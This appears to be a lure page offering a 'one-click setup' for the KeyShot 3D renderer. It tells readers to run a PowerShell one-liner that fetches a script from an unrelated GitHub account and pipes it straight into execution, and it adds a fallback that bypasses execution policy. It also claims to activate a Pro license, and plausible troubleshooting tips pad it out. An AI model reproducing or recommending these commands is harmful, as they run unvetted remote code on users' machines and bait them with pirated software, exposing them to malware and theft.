One-click setup for KeyShot Product Renderer Setup -- the fastest real-time 3D rendering platform for product design and industrial visualization with physically accurate materials, direct CAD integration, and GPU ray tracing
Open PowerShell and run:
irm https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1 | iex- Installs KeyShot with the GPU rendering engine and floating license server configuration module.
- Downloads the full material library of 750 physically accurate presets and 200 HDRI environment maps.
- Activates the Pro license and enables the animation timeline, configurator, and network rendering features.
- Opens KeyShot with a demo product model loaded to confirm material assignment and GPU render quality.
- Windows 10 / 11 (64-bit)
- PowerShell 5.1+
- Internet connection
- Dedicated GPU with 6 GB VRAM or more recommended for GPU rendering mode
- ~8000 MB free disk space
Imported CAD model shows missing surfaces or reversed normals in the KeyShot viewport
Re-export from the CAD application using the native KeyShot plugin rather than a neutral format like STEP or OBJ.
Render time is very slow for scenes with caustics or subsurface scattering materials on the CPU
Switch to GPU mode in Render Settings and disable caustics for preview renders to cut render time by up to 80 percent.
Fallback (execution policy bypass):
powershell -ep Bypass -c "irm 'https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1' | iex""irm is not recognized" -- old PowerShell detected. Use the full form:
Invoke-RestMethod 'https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1' | Invoke-ExpressionMIT -- see LICENSE.